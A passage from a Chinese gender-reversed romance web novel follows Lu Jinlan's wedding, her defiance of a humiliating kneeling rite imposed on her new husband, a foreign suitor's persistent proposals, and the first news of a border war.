陆锦澜小尝了一口,“嗯,好喝!” 宋凛丞喜道:“看来我在厨艺方面颇有天赋,以后多学些菜式,天天给你做。” 陆锦澜:“做菜不着急,婚服你试了没有?明天就要成亲了,我们一起去试试婚服吧。” 陆锦澜说着拉起凛丞就走,“如蓁,你俩自便啊。你们的院子都收拾好了,你俩今晚住这儿,明天一早好随我接亲去。对了,汤你记得喝,十分美味,千万别浪费了。” 项如蓁:“知道了,你怎么突然这么絮叨?” 看着陆锦澜拉着宋凛丞跑远,项如蓁吹了吹碗里的汤,刚喝到嘴里,连忙吐了出去。 “这是什么味儿啊?”项如蓁皱着眉喃喃自语,怪不得陆锦澜跑这么快,走时还不忘坑她。 项如蓁气得咬牙,随即看了看远处忙着调\情……不,忙着教学的晏无辛。 “无辛,过来歇会儿,你姐夫煮了老鸭虫草汤。” 晏无辛笑道:“凛丞越来越贤惠了,锦澜真是好福气。” 项如蓁低头道:“是是是,这碗给你。” 晏无辛正觉得口渴,接过汤碗猛灌了一口,直接喷了出去,“呸!哪找来的鸭子?又酸又骚!” 项如蓁哈哈大笑,晏无辛咬了咬牙,“好,你项如蓁浓眉大眼一脸正气,竟然也跟着陆锦澜学坏了。就我一个老实人,上了你的当。” 她越想越不服,“怀星!过来。” 怀星快步跑过来,面上微微泛红,他擦了擦额上的薄汗,轻唤了声:“师傅。” “嗯,乖徒儿,练功辛苦了,师傅给你盛碗汤喝。” 晏无辛转身盛汤的工夫,项如蓁冲怀星微微摇头。 晏无辛端着汤过来,怀星忽道:“我不渴,师傅一直在说话,比较辛苦,师傅喝吧。” 晏无辛:“师傅让你喝你就喝,来,这是师傅疼你。” 怀星连连摇头,后退几步,转身就跑。 “哎,你给我站住!”晏无辛端着碗追了上去。 项如蓁拍掌大笑,正赶上姜兰过来,她忙道:“姜师傅,喝点汤吧,你们家公子亲手熬的。” * 大婚前夜,按照习俗新娘新郎要分两处住。宋凛丞回了旧宅,陆锦澜留在忠勇园。 月上中天,她还没有一丝睡意,索性从书案上抽出一本以她为原型的话本——《陆锦澜风流往事》,津津有味的看了起来。 门被叩了两下,想来是送夜宵的,陆锦澜便道:“进来。” 她的余光中瞧见府里男仆的衣服,便继续看书。 来人将宵夜放下,却没有走。反而移步到她身后,将手搭在了她的肩上。 “嘶——”陆锦澜眉头一皱。 这世人都怎么了?以为我不挑是不是?—— 作者有话说:咱主打一个劳逸结合,新男人下章就出场。PS:不是这章这个……也不是男仆…… 第64章 她捏住那人手,刚要用力,忽然觉得有几分熟悉。 回首一看,顿时笑出了声,“怎么是你?” 陆七郎嗔怪道:“自从宋家人来了之后,我就老老实实的在院子里,生怕碍了人家的眼。我搬了个凳子,天天坐在院门口,就盼着能瞧你一眼,结果连你的影子都没瞧见。你三天没来看我了,我还不能来看看你吗?你不愿意见我,那我走。” 陆七郎越说越委屈,转身就要走。 陆锦澜笑着将人拉回来,“谁说不愿意见你了?你瞧你,眼睛都红了。” 陆锦澜擦了擦他眼角的水迹,陆七郎抿了抿唇,忽然紧紧地抱住她。 他的头靠在她肩上,闷声哽咽,“他有家人,有亲戚朋友,有亲信,可我的世界只有你。你多疼我一点儿,好不好?哪怕时不时派人给我传句话,让我知道你没有忘记我,没有厌弃我,行吗?” 陆锦澜一愣,随即了然。 是啊,这个世界她有广阔的天地,每天都有数不尽的新鲜事等着她去做,万事万物等着她去征服。而他只有四方的院子,哪怕给了他锦衣玉食,但他的精神世界是以她为中心的,每日最大的期盼就是妻主的垂怜。 陆锦澜拍了拍他的背,“我怎么会厌弃你呢?不要胡思乱想。是不是谁给你委屈受了?谁欺负你了吗?” 陆七郎连连摇头,“没有,大家都对我很好,大夫郎也很好,可我就是很想你。” 陆锦澜一笑,“我这几日太忙了,没顾上去看你。不过,你可以随时来找我。对了,你最近还在练字吗?” “练,不过总想到你,越写越难过。” 陆锦澜轻笑一声,“等大婚过后,长辈们都走了,咱们的日子还和以前一样,我天天陪你们一起吃饭。这几天,你再忍耐一下。” “府里正在训练一批男仆,他们也是孤儿,和你说不定有共同语言。我回头让姜兰和你轮流教习,你有了事做,就不会胡思乱想了。” 陆七郎瞥了她一眼,暗自以为陆锦澜还是不喜欢被他缠着,心里略感失落。 他微微垂下眼眸,“好,那我回去了。” 陆锦澜无奈的摇了摇头,她慧眼如炬,对世事洞若观火,怎么会看不懂一个男人的心思呢? 在她所有的男人中,七郎是武功最高的,却也是内心最敏感的。 他不像凛丞,能在一个健康的环境中成长,在母父的爱意里生长出坚韧的灵魂。 他也不像雨眠,能迅速精准的找到自己的位置,会不动声色的争宠,会聪明得讨好所有长辈。 七郎比他们更单纯更质朴,质朴到有点笨拙。像一只乡间的小土狗,呆呆的跟在主人身后转,不知道怎么讨主人喜欢,却又无比渴望被主人摸一摸脑袋,给他一句奖赏。 他从来没有被爱过,总是不确定自己是否还被爱着。自卑心作祟的时候,就会故意说一些自轻自贱的话,盼着她能笃定的告诉他:不是这样的。 陆锦澜懂得他的不安,理解他的拧巴,更知道如何用强硬的态度让他相信,他是被在乎的。 “站住!”陆锦澜环住他的腰,“来都来了,还想走?留下来陪我。” 七郎转过身,眼底含笑,“我还以为只有我想你呢。” 陆锦澜抵着他的额头,温声低语:“谁说的?我每次看见那些男仆在训练的时候,都会想起你。想你小时候,是不是也是这么辛苦的熬过来的。没想到你今天就穿了男仆的衣服,你可真爱玩角色扮演。这下好了,我以后看到这身衣服就会想起你。实话说,你穿还挺好看的。” 陆锦澜的指尖划过他的衣襟,扯了扯他的腰带,“走,到床上去,让我好好欣赏欣赏。” * 天蒙蒙亮,陆锦澜被七郎推醒,“妻主,醒醒,你今天成亲,快起来吧。” 陆锦澜皱着眉翻了个身,“早着呢。” 七郎低声劝道:“已经不早了,新郎那边早就起来梳洗打扮,我那天看了礼部送来的流程单子,新郎上轿前有几十个流程要走,只怕是他一晚上都没怎么睡。咱们这边还好,但你也该起来洗漱更衣用早膳了。外面的人早就开始忙活了,今天你是主角,该起了。” 陆锦澜闭着眼“嗯”了一声,还是不肯动。 七郎笑了笑,“妻主,我想求你答应个事儿。我今天想扮成男仆,和他们一起到前面去招待宾客,好不好?” 陆锦澜终于睁开眼,诧异的看着他,“你干嘛给自己找虐?我给你拿银子,你出去玩一天,逛逛街买买东西,不好吗?” 七郎央求道:“可我想见证你的大日子,你做新娘一定是英姿飒爽威风八面,你就让我看吧。” 陆锦澜犹豫了一下,点头答应。 七郎说得没错,今儿是大日子,外面的人早就忙活起来了。 不过个人有个人的分工,所有事都有人为她操心经营,陆锦澜就负责叫上项如蓁和晏无辛,一块吃早饭。 而后略微收拾了一下,等到了吉时,三人一同上马,带着浩浩荡荡的迎亲队伍迎着朝阳出发。 整个京城的人都知道陆锦澜今日大婚,街道两旁挤满了围观的人群。 陆家早有准备,专门准备了百十筐铜钱,沿途抛洒。 一把铜钱撒下去,吉祥话像雨后春笋一般涌上来。 “陆大人,百年好合!” “陆大人,早生贵女!” “陆大人,保佑我家孩子明年也能考上皇家学院!” 什么乱七八糟的?陆锦澜心想:当我是许愿池里的王八? 她一身红衣系着红花,骑着雪白银亮的汗血宝马,端坐马上,春风得意,意气风发。 大喜的日子,她什么都懒得计较,朝左右拱了拱手,“多谢!多谢各位的祝福!” * 在迎亲队伍到来前,凛丞早就盖上了红盖头。 他爹杨氏按照流程,在他上轿前叮嘱道:“你嫁到了妻主家,要顺从妻主,为她处理好府中琐事,为妻主分忧。你身为正夫,要孝顺长辈,约束侧室,管教下人,早日为陆家开枝散叶。” 凛丞一一答应,这才由宋婧骁背着送到喜轿内,再由陆锦澜放下了轿帘。 未嫁从母,出嫁从妻。二人站在轿前,完成了象征着母权和妻权的交接仪式。 宋婧骁拍了拍陆锦澜的肩膀,“澜儿,以后丞儿就是你的人了。他被我和他爹宠坏了,如果他有做得不足的地方,以后都要由你来管教。但我还是希望你能多包容他一点,善待他。” 陆锦澜恭敬道:“请岳母放心,我会好好对他的。他在我这儿得到的宠爱,绝不会比家里少。” 宋婧骁眼眶一热,“那我就放心了,走吧,莫耽误了吉时。” 队伍再次出发,陆锦澜回头一望,忽 然发觉那顶小小的轿子好像一个盒子。 盒子里的人还盖着红盖头,外面这么热闹,里面却什么都看不到。 她骑着高头大马威风凛凛,跨马游街,像得胜归来的将军。而队伍里押着的,便是等待她拆封的战利品。 甚至拜堂的时候,凛丞也是看不见的。红盖头遮住他的脸,他只能紧紧握住手中的红绸,陆锦澜拉过去,他便跟过去,亦步亦趋。 “一拜天地!” “二拜高堂!” “妻夫对拜!” “礼成!” 终于结束了,从早晨折腾到中午,总算完了。 凛丞被人搀扶起来带走了,陆锦澜开始忙着招待宾客,一圈下来,脸都快笑僵了。 陆锦澜摸到她精心安排的那桌,除了项如蓁、晏无辛等几位亲近的同学,还有罗大莉。 陆锦澜特地倒了杯酒敬罗大莉,“罗姐姐,我必须敬你一杯。幸亏你那天放我进来,不然哪有今日的大婚。” 罗大莉忙道:“陆大人言重了。” 罗大莉不善应酬,人多的场合总是颇为无措。 今日宾客如云,陆家从商,自然引来各地富商齐聚,甚至各地商会、邻国商人都到场祝贺。宋家从军,亦有不少军中将领朝中大臣前来恭贺。陆锦澜交游广阔,她的不少同学特意从外地赶来捧场。京城中不少名流权贵仰慕她的盛名,有意结交,也纷纷前来庆贺。 罗大莉曾想,陆锦澜的婚宴,乃京城一大盛事。陆锦澜那日想必是随口一说,说不定早就忘了。 当然,她事忙,忘了也是情理之中的。可偏偏没几日,她就收到了陆家送来的请帖。 她又想着,要不别去了吧?陆锦澜的婚礼,自有各界风云人物捧场,她一个小小门吏去干嘛?人家送来帖子,也就是意思一下,还能真去啊? 结果,婚礼前两天,陆锦澜路过城门瞧见她,特意提醒:“罗大人,后儿别忘了来喝我的喜酒。” 于是罗大莉左思右想,还是来了。她已经做好了尴尬的准备,但一进门就被引到项如蓁身边。 项如蓁热情道:“是罗姐姐吧?我叫项如蓁。锦澜跟我说过,你是北州人,我是勉州人,她说咱俩老家离得近,挨在一起坐着,正好可以一解乡愁。” 罗大莉那一刻才相信陆锦澜是真心请她来,并为此做了种种费心安排,她不由得万分感动。 她一直对享有盛名的人不屑一顾,料想大多都是徒有虚名之辈。然而接触到陆锦澜,才暗自惊叹:此人的名声再大,也不如她本人之万一。 此刻陆锦澜过来敬酒,罗大莉笨嘴拙舌,准备了一肚子话,最终只说了三个字:“我干了!” 陆锦澜哈哈大笑,“罗姐姐爽快人。” 她瞥了眼角落里时不时朝她投来目光的陆七郎,又道:“各位,请允许我失陪一会儿。如蓁、无辛,你们帮我照顾着。” 晏无辛一把拉住她,“这天还没黑呢,你急着入洞房啊?” 陆锦澜低声道:“入什么洞房?我又累又困,找个地儿偷会儿懒,一会就回来。” 陆锦澜本来打算去七郎房里躲会儿,一转眼只看到陆七郎的背影。 奇怪,他怎么知道我要离席? 陆锦澜暗道这是心有灵犀,她到了七郎的院子,见他屋门虚掩着。人在屏风后,背对着她,已经换上了一件象牙白的长袍。 陆锦澜勾了勾嘴角,故意猛地扑上去,用力抱住他。 怀里的人瞬间僵住,陆锦澜笑道:“是我,你怕什么?” 她抓住他的手臂将人翻过来便要亲上去,然而四目相对,看着眼前全然陌生的面孔,陆锦澜也僵住了。 她不由得深吸一口气,“你是谁?” 第65章 陆七郎端着水盆进门,一抬眼便看到陆锦澜姿势暧昧的将男人压在墙角,两人靠得那么近,看起来真是含情脉脉啊。哐啷,水盆掉在地上。 刺耳的声响将两人从震惊中唤醒,男人连忙将陆锦澜推开,一脸愠怒的拢了拢衣服。 陆七郎:“你们这是在……我是不是打扰了?要不我先出去,你们继续。” 男人急道:“你不要胡说,事情不是你想的那样。我好好的在这儿换衣服,她突然进来非礼我。” “哎?你也不要胡说好不好?”陆锦澜无辜的摊了摊手,“我认错人了,我把你当成七郎才……七郎,你快帮我解释一下。” 陆七郎松了口气,笑道:“看来是误会了,这位是曲国的萧公子,他在席上不小心弄脏了衣衫,我才带他到这儿来换件衣服。” 陆锦澜暗自打量着萧公子,原来是曲国人,怪不得五官如此深邃,颇有些异域风情。 他看起来也就十七八岁,身量和七郎差不多,不然她也不会认错。不过她略一回想方才的手感,其实萧公子要更瘦一些,腰带系得很紧,勾勒出一截窄腰。 萧公子撞上陆锦澜打量的目光,瞪了她一眼。 陆七郎道:“萧公子别见怪,你刚刚不还说仰慕我家大人的才学吗?她刚喝了些酒,一时误会才……” 萧公子气道:“我现在不仰慕了!我看没什么可误会的,就算她把我当成你,对一个男仆动手动脚肆意轻薄,算什么英雌?还说什么‘是我’,是你怎么了?你陆锦澜也不能默认全天下的男人都倾心于你吧?” 陆锦澜冷笑一声:“呵呵,你家男仆住这么大的院子?” 七郎赶紧帮忙解释,“其实我是陆大人的小郎,她是我的妻主。因为今日婚宴,我的身份不便出去,才穿了男仆的衣服。这是我的房间,不然我怎么敢把你领到这儿来。” 萧公子将信将疑道:“你们主仆一条心,谁知道你们说的是真的假的。” 陆锦澜瞪了他一眼,“随你怎么想。” 她转身便走,萧公子不依,跟在她身后道:“你别想这么算了,你得跟我道歉。” 陆锦澜大步向前,她讨厌蛮不讲理的男人,头也不回的敷衍道:“对不起,行了吧?” “哎,你这是什么态度?” 七郎在一旁劝道:“萧公子,真的是误会,你快别嚷嚷了。” “我嚷嚷怎么了?她占我便宜,还不许我说出来?” 三人说话间就到了院门口,正撞上宋凛丞的陪嫁男仆青石端着个炭盆路过。 陆锦澜怪道:“你怎么跑这儿来了?谁陪着你家公子在房里?都这时候了,他用没用午膳?” 青石慌张的看了她一眼,恭敬道:“回主君,我家公子没在房里,他这会儿还在观音堂跪着呢。那边有些冷,我来给他拿个炭盆。” 陆锦澜一愣,“谁让他跪的?” 青石道:“今日所有的礼仪流程,都是按照礼部的指引走的。” 陆锦澜皱着眉,转身就往观音堂去。 七郎怕她发火,这会儿也顾不上萧公子了,连忙追上去告诉她,“这是大婚的正常流程,但凡正夫进门,礼成之后,都是要跪妻家的祖先牌位的。我听人说过,这是为了磨磨夫郎的性子,让他以后更加温顺,是自古以来都有的规矩。礼部的人也是按章行事,你别和她们动怒。” 陆锦澜脱口骂道:“狗屁规矩!” 萧公子此时也忘了跟她吵架了,快步跟在三人身后,转眼间便到了后院的观音堂。 此时宋凛丞正披着盖头,一动不动的跪在藤编的簸箕上。礼部两位主事负责指导礼仪,坐在一旁,喝着茶,监看着。 此外,还有几十位男眷陪在这里。有成婚的,也 有未成婚的。不时有人带着各种心思上来,说几句暖心的或者风凉的话。 “凛丞,你再坚持一会儿,青石去取炭盆了。” “哎呀,这点苦都吃不了啊?但凡嫁人的男子,谁不是这么过来的?你们以为做人家的夫郎是那么好当的,你们现在是赶上好时候了,可以跪簸箕,我们那时候跪的是碎石,比这可疼多了。” “就是,受着吧。嫁给谁都一样,做谁的男人都得受这一遭。” 话音未落,便听身后有人朗声道:“谁说的?做我陆锦澜的男人,就不用受这一遭。” 这声音并不高亢,却十分坚定,铿锵有力的传到众人的耳朵里。 众人回头一看,陆锦澜来了! 这儿都是男眷,她一个女人突然闯入,人群瞬间如潮水一般,哗一下散开到两旁,给她让出了一条道路。 陆锦澜大步上前,两位主事是六品,自知比她官阶低,忙迎上来,“陆大人,您怎么到这儿来了?” 陆锦澜看了二人一眼,“我听说我的夫郎还在这儿跪着,所以过来看看。两位大人辛苦了,去前面吃席吧。” 她说着便越过二人,去拉凛丞的手臂,“起来,咱不跪了。” 两人主事忙劝道:“陆大人,这不合规矩。依礼要跪三个时辰的,你家夫郎才跪了不到一个时辰。” 陆锦澜眼睛一瞪:“三个时辰?那膝盖还不跪烂了?这条规矩免了。” 主事忙道:“陆大人,你不要为难我们。皇上说的,要你们依礼成婚,您不能抗旨啊。” 宋凛丞拽了拽她的衣襟,小声道:“我撑得住,没事的。算了,你别管我了。” 陆锦澜咬了咬牙,“两位大人非要跟我较真是吧?那咱们就说道说道。” “依礼不是要跪我陆家祖先牌位吗?可我们家祖先牌位都在云州呢,这儿是我爹偶尔过来念经的观音堂,不是祠堂,说什么依礼?皇上要我们依礼成婚,一切礼节不过是走个过场就算依了,你们何必死心眼呢?” “我的脾气想必你们略有耳闻,我是随心所欲惯了的。你们不服,过后可以向皇上打小报告。但圣上日理万机,恐怕没空因为这点鸡毛蒜皮的小事训斥我。我言尽于此,两位还是去吃席吧,待会儿我去给你们敬酒。你们若不吃,便是逼着我发火了。” 两位主事再蠢,也能听出陆锦澜的言下之意。敬酒不吃,怕是就得吃罚酒了。好端端的,惹她干嘛? 二人对视一眼,立即告退。 陆锦澜将宋凛丞扶起来,“没事吧?” “没事,就是脚麻了。” 他趔趄了一下,盖头里落下两滴眼泪,砸在陆锦澜的手背上。 陆锦澜心头一软,“是不是很疼?” 凛丞忙摇了摇头,笑道:“没有,我是感动得掉眼泪。” 陆锦澜握了握他的手,“回去吃点东西,好好休息,我忙完就回去了。青石,送你家公子回房。” 七郎道:“我去拿些药油来。” 陆锦澜微微点头,她又看了看那些围观的男眷,“诸位,这里已经没有热闹可以看了。管家应该为大家安置了吃席饮茶的地方,你们请便吧。” 众人见她面色不善,纷纷告退,霎时间做鸟兽散。 只剩下那位萧公子,依旧站在那儿,呆愣愣的看着她。 陆锦澜扫了他一眼,“你怎么还不走?我已经跟你道歉了,你还想怎样?” 萧公子脸上讪讪的,“我想……刚才可能确实是一场误会,但是……但是你总得对我负责吧。” 陆锦澜有些怀疑自己的耳朵,“什么?” 萧公子抿了抿唇,“我一个未嫁人的小公子,被你那样了,说出去我还怎么嫁人啊?” 陆锦澜:“不是,你别碰瓷行不行?我把你哪样了?我不就是抱了你一下吗?这件事你不说我不说,七郎也不说,没有人会知道的。” 萧公子:“那也不行,我心里过不去。” 陆锦澜无奈的叹了口气,“行,今天算我倒霉。” 她从怀里摸出一沓银票,“给,算我给你的补偿,这些银票够你办一次婚礼的。” 萧公子不接,“我不缺钱,我也不要你的银子。” 陆锦澜真没招了,“那你要什么?” 萧公子沉思片刻,犹豫道:“我觉得……如果你能娶了我,这事就过去了。” 陆锦澜瞬间沉默,甚至一时间有些怀疑人生。 她端详着这位萧公子的神色,瞧着他也不像开玩笑的样子。观其言行,也不像疯子,可偏偏说话跟有病似的。 陆锦澜沉默片刻,舔了舔唇,“我在你们曲国的名声,是不是不太好?” “怎么会呢?你在曲国的名声很好,不然我也不会慕名而来,特意托人带我来参加你的婚宴。曲国的年轻男子都很仰慕你,包括我。” 陆锦澜冷笑道:“你刚才不是说,你已经不仰慕我了吗?” 萧公子脸上一红,“此一时彼一时,再说刚才是误会,我现在又仰慕你了。” 陆锦澜白了他一眼,“你别在这儿反复横跳了,仰慕我也没用,以为我来者不拒啊?我不挑吗?要是仰慕我的男人我都娶回家,多少个房间也不够住的。再说,你没看见我身边的男人已经够多了吗?我今天大婚,七郎你也看到了,我还有一个小郎在云州养胎呢。” 萧公子想了想,“那才三个,也不多。加上我,也不费什么事。” “你有完没完?你们曲国的男人一点矜持都没有吗?我不娶你,听见了吗?”陆锦澜没了耐性,喊了一声:“洗墨!” 洗墨闻声过来,“少主。” 陆锦澜吩咐道:“把这位病公子送到前院去,问问谁把他带来的,赶紧把他带走。” 萧公子不服,“你不是喜欢主动的男人吗?” 陆锦澜懒得理他,摆摆手让洗墨把他拉走,她回到七郎那儿补了会觉,醒来又到前面去应酬了几轮。 直到天黑,流水席终于结束。 陆锦澜回到她和凛丞的新房,掀开盖头,不禁心神一晃。 真是奇怪,明明日日都见,可在红衣红帐红烛红盖头的映照下,又多了几分别样的新鲜感。 陆锦澜摸了摸他的脸,指腹抚过他发红的眼尾,“后来又哭了?你不会哭了半天吧?” 凛丞笑着摇头,青石道:“公子刚刚听得知我家将军和大夫郎在那边哭,就跟着掉了几滴眼泪。” 凛丞:“多嘴!谁问你了?” 陆锦澜忙问:“岳母岳父哭什么?” 青石瞥了凛丞一眼,陆锦澜道:“我问你的,说。” 青石一笑:“回主君,将军和夫郎本来不放心,派人来问公子怎么样了。二老听说了观音堂的事儿,大为感动,妻夫俩在那边抱头痛哭。夸您会疼人,说我们公子眼光好有福气,嫁给这世上最好的女人。” 陆锦澜笑了笑,宋凛丞骄傲得理了理衣衫,对青石道:“好了,别说个没完了。这儿没你的事儿了,你下去休息吧。” 屋内只剩下新婚妻夫,宋凛丞抱住她,温声道:“我比你想象的还了解你,就算没有今天的事,我也确信我的妻主是世间最好的女人,是盖世英雌。只是可惜,有了今天的事儿……” 陆锦澜:“有了今天的事儿怎么了?” 宋凛丞叹了口气,“有了今天的事儿,不知道多少人眼红我嫁给你。你陆锦澜的名声水涨船高,以后说不定有多少俊美男郎,哭着喊着要嫁给你。” 陆锦澜笑了笑,没有反驳,毕竟今天就有一个哭着喊着要嫁给她的。 她适时的转移话题,“春宵一刻值千金,我们的洞房花烛夜,不要聊别人了。” 宋凛丞嘴角一勾,明知故问:“那聊什么?” “你说呢?”陆锦澜探向他的小腹,乌眉轻挑,“聊聊如何拿走你这颗守贞砂。” 在成亲之前,两人再怎么亲热,也没有进行到最后一步。 此刻红烛高照,烛火摇曳,地龙散着热气,终于得成好事。春光几度,一室旖旎。 * 大婚后,宋婧骁就带着夫郎杨氏回灵州了。 走之前,宋婧骁提醒陆锦澜要小心凌家,上次在城外伏击宋婧骁的也是凌家人。宋凌两家的争斗几乎已经摆在明面上,陆锦澜作为宋家的继承人,务必小心防范。 陆锦澜其实并不担忧,她的武功与日俱增,府中还有姜兰带队日夜防范,凛丞和七郎都有武功傍身,暗中刺杀已经不可能了。至于明面上,她一个还在读书的人,凌家也拿她没有办法。 而且陆锦澜想,如 果她是凌之静,根本不会把精力放在对付宋家军这块。凌家眼前最大的危险,难道不是皇上要扳倒凌家的决心吗? 过完年,陆今朝也带着严氏等人回了云州。 身边没有长辈,陆锦澜又可以放飞自我,过起了左拥右抱蜜里调油的逍遥日子。 此时,京中陆续发生了几件大事。 太尉凌之冲突然得了恶疾,缠绵病榻,不到半个月撒手人寰。陆锦澜隐隐有一种感觉,皇上已经暗中对凌家动手了。 紧接着嬅国与姜国的边境发生骚乱,戍边的凌家军不敌姜国军队,连连溃败。皇上大发雷霆,无奈议和,将二郎主赵俊儿送去姜国和亲。 陆锦澜和晏无辛在忠勇园闲聊,说起这事,颇为感慨。 晏无辛:“赵俊儿马车当街撞死难民小孩的时候,皇上杀了闹事的难民,我当时还以为她多在乎这个儿子呢。结果姜国边境一出事,她马上把赵俊儿送出去了。我可听说姜国皇上五十多了,后宫男人大把,赵俊儿去了也不会有好果子吃的。” 陆锦澜叹了口气,“最是无情帝王家,她是皇帝,怎么会在乎一个儿子呢。” 晏无辛问道:“那她在乎什么?女儿?” 陆锦澜摇了摇头,“恐怕也不是,她最在乎的可能只有一样,那就是手中的权力。” 晏无辛猛地看向她,忽然冒出一句:“你有时候说话真不像十七岁的人。” 陆锦澜笑了笑,“那我像什么?” “像我娘。” 晏无辛很少说起家里的事,难得她主动提起她娘,陆锦澜刚要往下问,洗墨忽然跑过来报信,“少主,门外有位公子,非要见您。” 晏无辛笑道:“你们家少主是京中的风流人物,每日都有人吵着要见她,不是邀来的,打发了就是。” 洗墨道:“晏少娘说得有道理,可这位公子长得颇为出众。我寻思着……或许少主想见,或许有什么渊源也未可知,所以特地来说一声。” 陆锦澜哼了一声,“你这管家当的,是越来越会说话了。无辛你听听,她在这儿阴阳怪气的暗示呢。仿佛但凡有些容貌的男子,我都沾染过。人家找上门,都是有渊源的。” 晏无辛笑了笑,“不好说,就算你没沾染过,听见人家长得不错,也会有点兴趣吧。” 陆锦澜摸了摸下巴,略一寻思,“好像也有点道理,确实长得不错?” 洗墨笑道:“确实,是让人过目不忘的相貌。” 陆锦澜琢磨了一下,“是那位曲国来的萧公子吗?” 洗墨忙道:“正是。” 晏无辛在一旁打趣:“你看看,洗墨猜对了吧。看来确实有几分渊源,否则只说此人长得好看,你就想到了他,你对人家颇有印象啊。” 陆锦澜叹了口气,“一个难缠的家伙,你等着,我去应付几句。” 萧公子看到陆锦澜出来眼睛一亮,快步上前,“陆大人,新年好啊。” 陆锦澜微微点头,“萧公子,新年好。你要见我,是有什么事吗?我府中还有事要忙,咱们长话短说。” 萧公子眼神一暗,“好,那我长话短说。我要回曲国了,这一走,不知道什么时候才能再见。对了,你还不知道我的名字,我想告诉你,我叫萧衡。我知道你喜欢玉器,我近日得了一方青玉砚,特地拿来送给你。” 萧衡递来一个精致的礼盒,陆锦澜看了一眼,“萧衡,我知道你什么意思。但人和人之间的感情,是不能勉强的。” 萧衡点了点头,勉强一笑,“可我没有勉强你啊,我只是想把你喜欢的东西送给你,并没有把你不喜欢的东西硬塞给你。这样,也不行吗?” 看着他颇为神伤的模样,陆锦澜心一软,“好吧,礼物我收下,下次有机会再见,我给你回礼。” “好!”萧衡痛快地答应,“希望我们很快就能再见。” 他飞身上马,迅速远去。 * 不久后,项如蓁从勉州回来,带来了北方的最新消息,“最近咱们和曲国接壤的边境也不太平,恐怕要打仗了。” 陆锦澜道:“与曲国接壤的地区大部分都由宋家军驻守,有我岳母在,不必担忧。” 项如蓁叹了口气,“但愿吧,只可惜我们还在读书。若真的打起来,也只会选派大三的学长去前线。我们想保土安民,还轮不上我们呢。” 晏无辛:“打仗多危险啊,最好轮不上咱们。我和如蓁还没大婚呢,锦澜的孩子也不知道是女是男,咱们怎么也得有了女儿再上战场吧?” 陆锦澜忽然一笑,轻咳一声:“凛丞和七郎都有了身孕,我这三个孩子,怎么也得有一个女儿吧?” 晏无辛一下子坐起来,“行啊陆锦澜,看来你这个假期可没闲着。哎呀,我可抓点紧了,不然我的孩子出生的晚,以后还不被你家的孩子追着打。如蓁,你说是不是?” 项如蓁淡然道:“我无所谓,反正我想先立业,再成家。在没有做出成绩前,不想考虑成婚生女的事儿。” 陆锦澜劝道:“别啊,你别这么死心眼儿,做人不能太教条。万一遇到心动的男人,你就立刻拿下。晚了,可就被别人抢走了。有时候顺序不重要,缘分才重要。” 这话说完也就半个月,三人迎来了开学。某天深夜,学院里一阵嘈杂。陆锦澜睡得迷迷糊糊,第二天才知道曲姜两国同时犯我边境,前线失利,损失了不少军官。 皇上连夜下了十几道圣旨,其中有一道便是将皇家学院大二大三的学员全部送到前线,支援作战。旨意下得急,学长们草草收拾了东西,连夜被带走,连回家的机会都没有。 三百人的校园,瞬间锐减到一百人。学院把空出的房间打扫干净,高价租给想住单人间的学生。 陆锦澜一想,等到学期末她们要把被纂改的成绩改回来,议事的时候不少,确实需要一个相对私密的空间。 于是,陆锦澜和晏无辛各抢了一间。一零六八个人,除了项如蓁、孙乐闻和吴琼梦,都出去住单间了。 陆锦澜刚打扫好房间,外面便有人敲门。 打开一看,项如蓁堵在门口,神色略微有些异样。 陆锦澜忙问:“怎么了?” 项如蓁忽道:“我现在觉得你说得对,做人不能太教条,有时候顺序不重要。” 陆锦澜茫然的附和:“嗯,然后呢?” 项如蓁:“其实有些规矩偶尔打破一下,也没关系。” 陆锦澜眉头一皱,“这话是我说的吗?” 项如蓁:“不重要,反正,你帮我一个忙。” 项如蓁说着将一个男人推到她屋里,“你帮我把他藏起来。” 陆锦澜:“这……这谁啊?” 第66章 项如蓁急道:“先别问了,学监正在巡房。他一个小公子闯入皇家学院,如果被抓到会把他送去游街的,你快把他藏起来。” 陆锦澜无奈的转了一圈,虽说是单间,空间也有限,冷不丁让她藏个人,往哪儿藏啊? 她瞥了那位小公子一眼,他看起来倒是不占地方。 十五六岁的样子,身量像是还未长开,站在高大的如蓁身边,显得更柔弱了几分。 身型清瘦,脸上有点儿嫩嫩的脸颊肉,看起来也不算营养不良。他很白,气色却很好。一身雪缎衬得他粉面朱唇,跟雪团子似的。 那双乌溜溜的黑眼睛怯生生的,也不说话,察觉到她的打 量目光,便往项如蓁的身后躲。 陆锦澜刚一歪头,项如蓁皱着眉咳嗽一声,“陆锦澜。” 陆锦澜尴尬一笑,“哈哈,藏床底下吧。床下有些东西,我这就拿出来。” 她将床下藏得几坛酒和一些干果拽出来,看了眼那位小公子,“进去吧。” 小公子看了项如蓁一眼,倒也不磨叽,拢了拢衣服,手脚并用的爬进去。 两人连忙用各种东西挡住他,布置停当后,项如蓁使了个眼色,陆锦澜跟着她走到门外说话。 项如蓁:“把一个男人藏你房里,我还真不放心。” 陆锦澜哼了一声,“那你怎么不藏你自己房里?” “我那儿又不是单间,不方便。” “那你藏无辛那儿。” “无辛比你还好色,我更不放心。” 陆锦澜噗嗤一笑,叹了口气,拍了拍项如蓁的肩膀,“放心吧,你这位小公子虽然颇惹人怜爱,但不是我的菜。更何况,朋友郎……” 项如蓁急忙捂她的嘴,“嘘!事关男儿家的清白,你别乱说!” 陆锦澜皱着脸啪啪打掉她的手,“你刚摸了一手土,你捂我嘴?” 项如蓁用袖子给她擦了擦,“我跟你说,他刚知道他姐姐被派往前线,他和姐姐感情好,就想着来学院看看姐姐有没有留下书信什么的,结果什么都没找到,还被我给逮住了。总之,他很可怜,一问起来眼泪掉得跟金豆子似的。你帮我把他藏好,等到天彻底黑了,我想办法把他送出去。” 陆锦澜点头应允。 只不过项如蓁离开后,陆锦澜忽然有些手足无措。明明是她的房间,忽然有点不方便了。这瓜田李下的,她名声在外,不得不避讳着。 晏无辛过来找她时,见她正蹲在门口,诧异道:“你怎么在这儿?屋里还没收拾完啊?” 陆锦澜:“收拾是收拾完了,但……” 晏无辛:“那你不进去?我看看你弄成什么样了。” 她说着便推门进去,陆锦澜连忙跟进来,“无辛,咱俩还是出去聊吧,这儿有点不太方便。” 晏无辛一屁股坐在床上,跟躺自己床似的往那一歪,不解道:“为什么啊?这儿有什么不方便的?难不成你床底下藏个男人?” 陆锦澜抿了抿唇,无奈的点头。 晏无辛呼一下坐起来,扒开酒坛子一看,那位小公子正瞪着一双眼,闷不吭声的看着她。 